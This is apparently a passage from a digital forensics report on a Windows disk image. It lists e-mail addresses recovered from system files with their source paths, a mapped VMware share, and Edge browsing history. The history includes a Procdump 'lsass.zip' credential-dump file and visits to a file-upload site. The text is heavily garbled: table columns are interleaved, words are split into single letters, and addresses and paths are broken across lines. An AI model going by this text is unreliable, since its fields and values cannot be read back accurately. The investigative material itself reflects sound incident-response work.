«isaac_ruiz@users.cat«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb
a kenya i z 1e7da144/Alphabet.xml
j9b@3.ae
T
a
Preview Source File
g
s
x ;;$` a<z/ ba4{wa5 /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

«j9b@3.ae« 4@`&
6$4b6b @7w( 8t
x ;;$` a<z/ ba4{wa5 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«j9b@3.ae« 4@`& speechrecognizer-en-
6$4b6b @7w( 8t us_31bf3856ad364e35_10.0.17763.1_none_a7d4b3ba449618b9/l1033.ng
r
jack@greensock.com
T
a
Preview Source File
g
s
author: jack doyle, /

«jack@greensock.co img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.Micros
m« **/ var oftEdge_8wekyb3d8bbwe/AC/#!
_gsscope="u 001/MicrosoftEdge/Cache/Y2A6TZJV/TweenMax.min[1].js
Page 121/145
T
a
Preview Source File
g
s

_gsscope="u 001/MicrosoftEdge/Cache/YATO9SWU/tweenmax_1.18.0_499ba64a233785
45748ff12d372e59e9_min[1].js

_gsscope="u 001/MicrosoftEdge/Cache/YG3Z5EVG/tweenmax_1.20.0_d360d9a082ccc13
b1a1a9b153f86b378_min[1].js
jane@dstc.edu.au
T
a
Preview Source File
g
s
c.edu) jane hunter /img_disk.raw/vol_vol7/Program

(«jane@dstc.edu.au«) Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__8w
pete johnston (p.j ekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
Shared/OFFICE16/MSO.DLL
jcm@redhat.com
Ta
Preview Source File
gs
.info> jon masters /img_disk.raw/vol_vol7/Program Files/VMware/VMware

<«jcm@redhat.com«> permission is Tools/open_source_licenses.txt
her
Page 122/145
jedan@dva.hr
T
a
Preview Source File
g
s
redak. mail: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«jedan@dva.hr« shared/ink/Alphabet.xml
vrhovni sud
redak. mail: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«jedan@dva.hr« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e7da
vrhovni sud 144/Alphabet.xml
jeffsmith@redmond.corp.microsoft.com
T
a
Preview Source File
g
s
tion: &owner (e.g., /img_disk.raw/vol_vol7/Windows/System32/en-US/filemgmt.dll.mui

«jeffsmith@redmond.corp.micro
soft.com« or redmond\jeffsmit
tion: &owner (e.g., /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

«jeffsmith@redmond.corp.micro windows-
soft.com« or redmond\jeffsmit s..foldersui.resources_31bf3856ad364e35_10.0.17763.1_en-
us_a7a47fab54c3501b/filemgmt.dll.mui
jemand@acme.com
T
a
Preview Source File
g
s
rtsetzen zu k nnen. /
«jemand@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/p
01/01/2000" 0-9 rnms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL
«jemand@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRES
01/01/2000" 0-9 .DLL
Page 123/145
T
a
Preview Source File
g
s
«jemand@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_31
01/01/2000" 0-9 bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FXS
RES.DLL
jjlq@a.gi
T
a
Preview Source File
g
s
2 _mz@h4 ]md? h}gm /img_disk.raw/vol_vol7/Windows/Globalization/ICU/icudtl.dat

>«jjlq@a.gi« klnf
ll8}mfml9} fws
2 _mz@h4 ]md? h}gm /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-i..-

>«jjlq@a.gi« klnf unicode-
ll8}mfml9} fws components_31bf3856ad364e35_10.0.17763.1_none_096070e3e9e37eaf/
icudtl.dat
jloup@gzip.org
Ta
Preview Source File
gs
mark adler /img_disk.raw/vol_vol7/pagefile.sys

«jloup@gzip.org«
madler@alu
y mark adler /img_disk.raw/vol_vol7/Program Files/VMware/VMware

«jloup@gzip.org« Tools/open_source_licenses.txt
madler@alu
mark adler /img_disk.raw/vol_vol7/Program

«jloup@gzip.org« Files/WindowsApps/Microsoft.Office.OneNote_16001.10228.20003.0_x64__
madler@alu 8wekyb3d8bbwe/resources.pri
Page 124/145
Ta
Preview Source File
gs
mark adler /img_disk.raw/vol_vol7/Program

«jloup@gzip.org« Files/WindowsApps/microsoft.windowscommunicationsapps_17.9330.21365.
madler@alu 0_x64__8wekyb3d8bbwe/resources.pri
mark adler /
«jloup@gzip.org« img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/18.143
madler@alu .0717.0002/ThirdPartyNotices.txt
mark adler /
«jloup@gzip.org« img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneDrive/18.143
madler@alu .0717.0002_1/ThirdPartyNotices.txt
joeyadams3.14159@gmail.com
Ta
Preview Source File
gs
2011 joseph adams /img_disk.raw/vol_vol7/pagefile.sys

<«joeyadams3.14159@gmail.com«>
permission is
2011 joseph adams /

<«joeyadams3.14159@gmail.com«> img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/
permission is OneDrive/18.143.0717.0002/ThirdPartyNotices.txt
2011 joseph adams /

<«joeyadams3.14159@gmail.com«> img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/
permission is OneDrive/18.143.0717.0002_1/ThirdPartyNotices.txt
john.smith@abc.org
T
a
Preview Source File
g
s
jr. e-mail: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«john.smith@abc.org« shared/ink/Alphabet.xml
tel. & fax.: 994638
jr. e-mail: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«john.smith@abc.org« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
Page 125/145
T
a
Preview Source File
g
s
tel. & fax.: 994638 7da144/Alphabet.xml
john.smith@gmail.com
T
a
Preview Source File
g
s
sent this offer to /

«john.smith@gmail.com« img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.
<svg class=\"circl MicrosoftEdge_8wekyb3d8bbwe/AC/#!
001/MicrosoftEdge/Cache/KBBFFLP4/features[1].json
ribe-tagline /
email">«john.smith@gmail. img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.
com«</span> </p> </div> MicrosoftEdge_8wekyb3d8bbwe/AC/#!
001/MicrosoftEdge/Cache/YATO9SWU/9QX61ZMY.dat

opinions opinions MicrosoftEdge_8wekyb3d8bbwe/AC/#!
001/MicrosoftEdge/Cache/YATO9SWU/VJSY8Q91.htm

"},"f00wntb05fw8zr MicrosoftEdge_8wekyb3d8bbwe/AC/#!
001/MicrosoftEdge/Cache/YATO9SWU/features[1].json

001/MicrosoftEdge/Cache/YATO9SWU/features[2].json

001/MicrosoftEdge/Cache/YG3Z5EVG/features[2].json
Page 126/145
john@contoso.com
T
a
Preview Source File
g
s
ct cancelhexamples: /img_disk.raw/vol_vol7/Windows/System32/en-US/RADCUI.dll.mui
«john@contoso.com«
https://contoso.com
/feed/webfeed.aspx /img_disk.raw/vol_vol7/Windows/System32/en-US/TSWorkspace.dll.mui
«john@contoso.com«
connection settings
ct cancelhexamples: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«john@contoso.com« t..ce-radcui.resources_31bf3856ad364e35_10.0.17763.1_en-
https://contoso.com us_8919adcf64c1ba46/RADCUI.dll.mui
/feed/webfeed.aspx /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«john@contoso.com« t..workspace.resources_31bf3856ad364e35_10.0.17763.1_en-
connection settings us_01b17dede968f8e3/TSWorkspace.dll.mui
joku@acme.com
T
a
Preview Source File
g
s
osta vastaanottajia /
«joku@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/p
01/01/2000)objet ob rnms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL
«joku@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRE
01/01/2000)objet ob S.DLL
«joku@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_31
01/01/2000)objet ob bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FXS
RES.DLL
Page 127/145
jorge@iryoku.com
Ta
Preview Source File
gs
2010 jorge jimenez /img_disk.raw/vol_vol7/Program Files/VMware/VMware

(«jorge@iryoku.com«) copyright (c) Tools/open_source_licenses.txt
2010
joseignacioechevarria@gmail.com
Ta
Preview Source File
gs
jose i. echevarria /img_disk.raw/vol_vol7/Program

(«joseignacioechevarria@gmail.com«) Files/VMware/VMware
copyright (c) 2010 Tools/open_source_licenses.txt
joshuachisholm@gmail.com
T
a
Preview Source File
g
s
2016 josh chisholm /img_disk.raw/vol_vol7/Program

<«joshuachisholm@gmail. Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64_
com«> ==== es6-promise _8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
c Shared/OFFICE16/MSO99LRES.DLL
jpeg-info@uunet.uu.net
Ta
Preview Source File
gs
ould contact ijg at «jpeg- /img_disk.raw/vol_vol7/Program Files/VMware/VMware

info@uunet.uu.net« to be added to our Tools/open_source_licenses.txt
jpla@users.cat
T
a
Preview Source File
g
s
està l'arxiu per a /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«jpla@users.cat«. en shared/ink/Alphabet.xml
html, la
Page 128/145
T
a
Preview Source File
g
s
està l'arxiu per a /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«jpla@users.cat«. en t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e7
html, la da144/Alphabet.xml
jryans@gmail.com
T
a
Preview Source File
g
s
2 j. ryan stinnett /img_disk.raw/vol_vol7/Program

<«jryans@gmail.com«>\n\np Files/WindowsApps/Microsoft.SkypeApp_14.26.95.0_x64__kzf8qxf38z
ermission is h g5c/ReactAssets/index.windows.bundle
jukka@contoso.com
T
a
Preview Source File
g
s
osoitteeni on /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«jukka@contoso.com shared/ink/Alphabet.xml
«. etsi (c:\da
osoitteeni on /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«jukka@contoso.com t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e7
«. etsi (c:\da da144/Alphabet.xml
julie@adatum.com
T
a
Preview Source File
g
s
julie est à /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«julie@adatum.com shared/ink/Alphabet.xml
« depuis peu.
julie est à /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«julie@adatum.com t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e7d
Page 129/145
T
a
Preview Source File
g
s
« depuis peu. a144/Alphabet.xml
julie@example.com
T
a
Preview Source File
g
s
voyez à l'adresse : /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«julie@example.com«. shared/ink/Alphabet.xml
zara, plutô
voyez à l'adresse : /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«julie@example.com«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
zara, plutô e7da144/Alphabet.xml
julietam@microsoft.com
Tag
Preview Source File
s
optype30{\staticval «julietam@microsoft.com«} /
{\propname msip_lab img_disk.raw/vol_vol7/Windows/Panther/
setupinfo
karel@abcdefg.cz
T
a
Preview Source File
g
s
kontaktujte nás na /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«karel@abcdefg.cz shared/ink/Alphabet.xml
«.
kontaktujte nás na /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«karel@abcdefg.cz t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e7da
«. 144/Alphabet.xml
Page 130/145
karn@ka9q.ampr.org
T
Preview Source File a
gs
code by phil karn /img_disk.raw/vol_vol7/Windows/System32/drivers/rmcast.sys

(«karn@ka9q.ampr.org«
), * robe
code by phil karn /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

(«karn@ka9q.ampr.org« rmcast_31bf3856ad364e35_10.0.17763.1_none_4543b616e0146b6c/rmc
), * robe ast.sys
kas@acme.com
T
a
Preview Source File
g
s
alinkite gav jus ia /

«kas@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/pr
01/01/20007subject nms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL

«kas@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRES.
01/01/20007subject DLL

«kas@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_31
01/01/20007subject bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FXSR
ES.DLL
kasutaja@contoso.com
T
a
Preview Source File
g
s
onmicrosoft.com v i /img_disk.raw/vol_vol7/Program
«kasutaja@contoso.co Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__8
m«. parandage viga ja wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
Page 131/145
kasutaja@contoso.onmicrosoft.com
T
a
Preview Source File
g
s
eab olema vormingus /img_disk.raw/vol_vol7/Program

«kasutaja@contoso.onmicro Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64
soft.com« v i __8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
kasutaja@contos Shared/OFFICE16/MSOIDRES.DLL
katy_x@contoso.com.pt
T
a
Preview Source File
g
s
para o meu e-mail: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«katy_x@contoso.com.pt shared/ink/Alphabet.xml
«. § não há re
para o meu e-mail: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«katy_x@contoso.com.pt t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb
«. § não há re 1e7da144/Alphabet.xml
keegi@acme.com
T
a
Preview Source File
g
s
ssaadid nimekirjast /
«keegi@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/
2000.01.01"t ma t m prnms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL
«keegi@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRE
2000.01.01"t ma t m S.DLL
«keegi@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_3
2000.01.01"t ma t m 1bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FX
SRES.DLL
Page 132/145
keepalive@openssh.com
T
a
Preview Source File
g
s
%s not responding. /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

«keepalive@openssh.com«
server_alive_check
responding from %s /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

client_alive_check
%s not responding. /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

select: %s connecti
%s not responding. /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

«keepalive@openssh.com« components-
select: %s connecti onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e35
c/ssh.exe
kelly@contoso.com.pt
T
a
Preview Source File
g
s
actar-me no e-mail: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«kelly@contoso.com.pt« shared/ink/Alphabet.xml
. o festival
actar-me no e-mail: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«kelly@contoso.com.pt« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
. o festival e7da144/Alphabet.xml
Page 133/145
kevinc@contoso.com
T
a
Preview Source File
g
s
e examples: kevinc, /
«kevinc@contoso.com«, img_disk.raw/vol_vol7/Windows/SystemApps/Microsoft.AccountsControl
domain\kevinctypes _cw5n1h2txyewy/pris/resources.en-US.pri
e examples: kevinc, /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«kevinc@contoso.com«, a...appxmain.resources_31bf3856ad364e35_10.0.17763.1_en-
domain\kevinctypes us_0f547f45b0a26642/resources.en-US.pri
kmallea@gmail.com
T
a
Preview Source File
g
s
author: kai mallea /

(«kmallea@gmail.com« img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.Micro
) * * @license: http softEdge_8wekyb3d8bbwe/AC/#!001/MicrosoftEdge/Cache/KBBFFLP4/cnn-
ais[1].js

)\n *\n * @license: softEdge_8wekyb3d8bbwe/AC/#!001/MicrosoftEdge/Cache/Y2A6TZJV/cnn-
header-second-react.min[1].js

) * * @license: http softEdge_8wekyb3d8bbwe/AC/#!
001/MicrosoftEdge/Cache/YATO9SWU/cnn-ais[1].js

) * * @lic softEdge_8wekyb3d8bbwe/AppData/User/Default/CacheStorage/Files4/7KZ
CBXO4_3/M68ZO8P9_4/1851IG0HZO_61
Page 134/145
korisnik@contoso.com
T
a
Preview Source File
g
s
onmicrosoft.com ili /img_disk.raw/vol_vol7/Program

«korisnik@contoso.co Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__8
m«. ispravite ga i pok wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
korisnik@contoso.onmicrosoft.com
T
a
Preview Source File
g
s
mora biti u obliku: /img_disk.raw/vol_vol7/Program

«korisnik@contoso.onmicr Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64_
osoft.com« ili _8wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
korisnik@contos Shared/OFFICE16/MSOIDRES.DLL
lagoze@cs.cornell.edu
T
a
Preview Source File
g
s
c.uk), carl lagoze /img_disk.raw/vol_vol7/Program

(«lagoze@cs.cornell.edu Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__8
«) this schema declar wekyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
Shared/OFFICE16/MSO.DLL
lastguru@mail.ru
Ta
Preview Source File
gs
(c) dmitry golubev /img_disk.raw/vol_vol7/pagefile.sys

<«lastguru@mail.ru«>, 2003-
2004 cop
(c) dmitry golubev /

<«lastguru@mail.ru«>, 2003- img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneD
2004 cop rive/18.143.0717.0002/ThirdPartyNotices.txt
Page 135/145
Ta
Preview Source File
gs
(c) dmitry golubev /

<«lastguru@mail.ru«>, 2003- img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Microsoft/OneD
2004 cop rive/18.143.0717.0002_1/ThirdPartyNotices.txt
lena.sun@washpost.com
T
a
Preview Source File
g
s
" 39) /
href="mailto:«lena.su img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.Microsof
n@washpost.com«? tEdge_8wekyb3d8bbwe/AC/#!001/MicrosoftEdge/Cache/KBBFFLP4/mystery-
subject='mystery lu lung-illness-linked-vaping-health-officials-investigating-nearly-possible-
cases[1].htm
lindsey.bever@washpost.com
T
a
Preview Source File
g
s
" 45) /
href="mailto:«lindsey.b img_disk.raw/vol_vol7/Users/Alan/AppData/Local/Packages/Microsoft.Micros
ever@washpost.com« oftEdge_8wekyb3d8bbwe/AC/#!
?subject='mystery lu 001/MicrosoftEdge/Cache/KBBFFLP4/mystery-lung-illness-linked-vaping-
health-officials-investigating-nearly-possible-cases[1].htm
lizzy@adatum.com
T
a
Preview Source File
g
s
bruk gjerne e-post: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«lizzy@adatum.com«. shared/ink/Alphabet.xml
gro sa: "hv
bruk gjerne e-post: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«lizzy@adatum.com«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
gro sa: "hv e7da144/Alphabet.xml
Page 136/145
local@example.com
T
a
Preview Source File
g
s
rence.setstateasync /img_disk.raw/vol_vol7/Program
«local@example.com« Files/WindowsApps/Microsoft.Office.OneNote_16001.10228.20003.0
showerroronpinneddr _x64__8wekyb3d8bbwe/mso98imm.dll
reasonasync [local] /img_disk.raw/vol_vol7/Program

«local@example.com« Files/WindowsApps/microsoft.windowscommunicationsapps_17.9330
showerroronpinneddr .21365.0_x64__8wekyb3d8bbwe/mso98imm.dll
lsetstat@openssh.com
Ta
Preview Source File
gs
penssh.com lsetstat «lsetstat@openssh.com« /img_disk.raw/vol_vol7/Program

refusing %s request Files/OpenSSH/sftp-server.exe
m fsync@openssh.com «lsetstat@openssh.com« /img_disk.raw/vol_vol7/Program

server supports ext Files/OpenSSH/sftp.exe
luigi@iet.unipi.it
Ta
Preview Source File
gs
997-98 luigi rizzo /img_disk.raw/vol_vol7/Windows/System32/drivers/rmcast.sys

(«luigi@iet.unipi.it«)
997-98 luigi rizzo /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

(«luigi@iet.unipi.it«) rmcast_31bf3856ad364e35_10.0.17763.1_none_4543b616e0146b6c/rmcast.s
ys
m@acme.com
T
a
Preview Source File
g
s
oder continuar algu /

«m@acme.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepository/p
Page 137/145
T
a
Preview Source File
g
s
01/01/20000asunto a rnms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL

«m@acme.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXSRES
01/01/20000asunto a .DLL

«m@acme.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf_31
01/01/20000asunto a bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd64/FXS
RES.DLL
m@msn.com
T
a
Preview Source File
g
s
e-mailadres: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

píx_tà«m@msn.com shared/ink/Alphabet.xml
«. 5° celsius
e-mailadres: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
píx_tà«m@msn.com t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e7
«. 5° celsius da144/Alphabet.xml
m@stylecop.csharp.read
Ta
Preview Source File
gs
ust match accessors /img_disk.raw/vol_vol7/Program

«m@stylecop.csharp.read«abilityru Files/WindowsApps/Microsoft.XboxApp_41.41.18001.0_x64__8
les0sa1130: wekyb3d8bbwe/XboxApp.dll
Page 138/145
m_kywx@kywx.com.pt
T
a
Preview Source File
g
s
rmações por e-mail: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«m_kywx@kywx.com.pt«. shared/ink/Alphabet.xml
eu vou ao z
rmações por e-mail: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«m_kywx@kywx.com.pt«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb
eu vou ao z 1e7da144/Alphabet.xml
mac-128-etm@openssh.com
Preview
AppendixC
Remote Drive
Local path Remote path Tags
Network\ \\vmware-host\Shared Folders

Z
AppendixD
Web History
R U
U
e R
T se
f L T
Date i Pr r
e D a
URL Acces t ogr Domain n Source File
r o g
sed l am a
r m s
e m
e ai
e
r n
file:///C:/Users/Craig/Desktop/Procdump/lsass.zip 2020 Mi C /
-05- cro ra img_disk.raw/vol_vo
07 sof ig l7/Users/Craig/AppD
21:0 t ata/Local/Microsoft/
1:00 Ed Windows/WebCach
CDT ge e/WebCacheV01.da
t
Page 139/145
R U
U
e R
T se
f L T
Date i Pr r
e D a
r o g
sed l am a
r m s
e m
e ai
e
r n
file:///C:/Windows/system32/oobe/FirstLogonAnim.ht 2019 Mi Al /
ml -11- cro a img_disk.raw/vol_vo
06 sof n l7/Users/Alan/AppD
CST ge e/WebCacheV01.da
t
http://www.abc.net.au/ 2020 Mi www.a Al /
-05- cro bc.net. a img_disk.raw/vol_vo
07 sof au n l7/Users/Alan/AppD
t
https://edition.cnn.com/ 2020 Mi edition. Al /
-05- cro cnn.co a img_disk.raw/vol_vo
07 sof m n l7/Users/Alan/AppD
t
https://go.microsoft.com/ 2020 Mi go.micr Al /
-05- cro osoft.c a img_disk.raw/vol_vo
07 sof om n l7/Users/Alan/AppD
t
https://go.microsoft.com/fwlink/?LinkId=525773 2020 Mi go.micr Al /
-05- cro osoft.c a img_disk.raw/vol_vo
07 sof om n l7/Users/Alan/AppD
t
https://microsoftedgetips.microsoft.com/ 2020 Mi micros Al /
-05- cro oftedge a img_disk.raw/vol_vo
07 sof tips.mic n l7/Users/Alan/AppD
20:3 t rosoft.c ata/Local/Microsoft/
Page 140/145
R U
U
e R
T se
f L T
Date i Pr r
e D a
r o g
sed l am a
r m s
e m
e ai
e
r n
7:52 Ed om Windows/WebCach
t
https://microsoftedgetips.microsoft.com/en-us/0? 2020 Mi micros Al /
source=firstrun -05- cro oftedge a img_disk.raw/vol_vo
t
https://microsoftedgetips.microsoft.com/en-us/0? 2020 Mi micros Al /
t
https://microsoftedgetips.microsoft.com/en-us/? 2020 Mi micros Al /
t
https://microsoftedgewelcome.microsoft.com/ 2020 Mi micros Al /
-05- cro oftedge a img_disk.raw/vol_vo
07 sof welcom n l7/Users/Alan/AppD
20:3 t e.micro ata/Local/Microsoft/
7:50 Ed soft.co Windows/WebCach
CDT ge m e/WebCacheV01.da
t
https://microsoftedgewelcome.microsoft.com/redirect 2020 Mi micros Al /
/?source=firstrun -05- cro oftedge a img_disk.raw/vol_vo
07 sof welcom n l7/Users/Alan/AppD
20:3 t e.micro ata/Local/Microsoft/
7:50 Ed soft.co Windows/WebCach
CDT ge m e/WebCacheV01.da
t
https://uploadfiles.io/ 2020 Mi uploadf Al /
Page 141/145
R U
U
e R
T se
f L T
Date i Pr r
e D a
r o g
sed l am a
r m s
e m
e ai
e
r n
-05- cro iles.io a img_disk.raw/vol_vo

t
https://uploadfiles.io/hr4z39kn 2020 Mi uploadf Al /
t
https://uploadfiles.io/hr4z39kn 2020 Mi uploadf Al /
t
https://www.abc.net.au/ 2020 Mi www.a Al /
t
https://www.abc.net.au/ 2020 Mi www.a Al /
t
https://www.bing.com/ 2020 Mi www.bi Al /
-05- cro ng.com a img_disk.raw/vol_vo
Page 142/145
R U
U
e R
T se
f L T
Date i Pr r
e D a
r o g
sed l am a
r m s
e m
e ai
e
r n
t
https://www.bing.com/search? 2020 Mi www.bi Al /
q=abc+net+australia&form=EDNTHT&mkt=en- -05- cro ng.com a img_disk.raw/vol_vo
au&httpsmsn=1&plvar=0&refig=e031eb64486d4946c 07 sof n l7/Users/Alan/AppD
bdd4d96939ae686&sp=-1&pq=abc+net+&sc=8- 20:3 t ata/Local/Microsoft/
8&qs=n&sk=&cvid=e031eb64486d4946cbdd4d9693 8:29 Ed Windows/WebCach
9ae686 CDT ge e/WebCacheV01.da
t
q=abc+net+australia&form=EDNTHT&mkt=en- -05- cro ng.com a img_disk.raw/vol_vo
au&httpsmsn=1&plvar=0&refig=e031eb64486d4946c 07 sof n l7/Users/Alan/AppD
bdd4d96939ae686&sp=-1&pq=abc+net+&sc=8- 20:3 t ata/Local/Microsoft/
8&qs=n&sk=&cvid=e031eb64486d4946cbdd4d9693 8:29 Ed Windows/WebCach
9ae686 CDT ge e/WebCacheV01.da
t
q=cnn&qs=n&form=QBRE&sp=-1&pq=&sc=1- -05- cro ng.com a img_disk.raw/vol_vo
0&sk=&cvid=C664B0F2B90F4FA4BD840FF24D5A8 07 sof n l7/Users/Alan/AppD
AB9 20:3 t ata/Local/Microsoft/
t
q=cnn&qs=n&form=QBRE&sp=-1&pq=&sc=1- -05- cro ng.com a img_disk.raw/vol_vo
0&sk=&cvid=C664B0F2B90F4FA4BD840FF24D5A8 07 sof n l7/Users/Alan/AppD
AB9 20:3 t ata/Local/Microsoft/
t
q=nn&form=EDGSPH&mkt=en- -05- cro ng.com a img_disk.raw/vol_vo
au&httpsmsn=1&plvar=0&refig=8742925aa25c41d88 07 sof n l7/Users/Alan/AppD
a2af27f59a747eb&sp=-1&pq=&sc=0- 20:3 t ata/Local/Microsoft/
0&qs=n&sk=&cvid=8742925aa25c41d88a2af27f59a 8:15 Ed Windows/WebCach
747eb CDT ge e/WebCacheV01.da
t
q=nn&form=EDGSPH&mkt=en- -05- cro ng.com a img_disk.raw/vol_vo
Page 143/145
R U
U
e R
T se
f L T
Date i Pr r
e D a
r o g
sed l am a
r m s
e m
e ai
e
r n
au&httpsmsn=1&plvar=0&refig=8742925aa25c41d88 07 sof n l7/Users/Alan/AppD

a2af27f59a747eb&sp=-1&pq=&sc=0- 20:3 t ata/Local/Microsoft/
0&qs=n&sk=&cvid=8742925aa25c41d88a2af27f59a 8:15 Ed Windows/WebCach
747eb CDT ge e/WebCacheV01.da
t
q=washington+post&form=EDNTHT&mkt=en- -05- cro ng.com a img_disk.raw/vol_vo
au&httpsmsn=1&plvar=0&refig=aa1423938e1c46ff87 07 sof n l7/Users/Alan/AppD
6b6160ca84022b&sp=1&pq=wash&sc=8- 20:3 t ata/Local/Microsoft/
4&qs=EP&sk=PRES1&cvid=aa1423938e1c46ff876b 8:40 Ed Windows/WebCach
6160ca84022b&cc=US&setlang=en-US CDT ge e/WebCacheV01.da
t
q=washington+post&form=EDNTHT&mkt=en- -05- cro ng.com a img_disk.raw/vol_vo
au&httpsmsn=1&plvar=0&refig=aa1423938e1c46ff87 07 sof n l7/Users/Alan/AppD
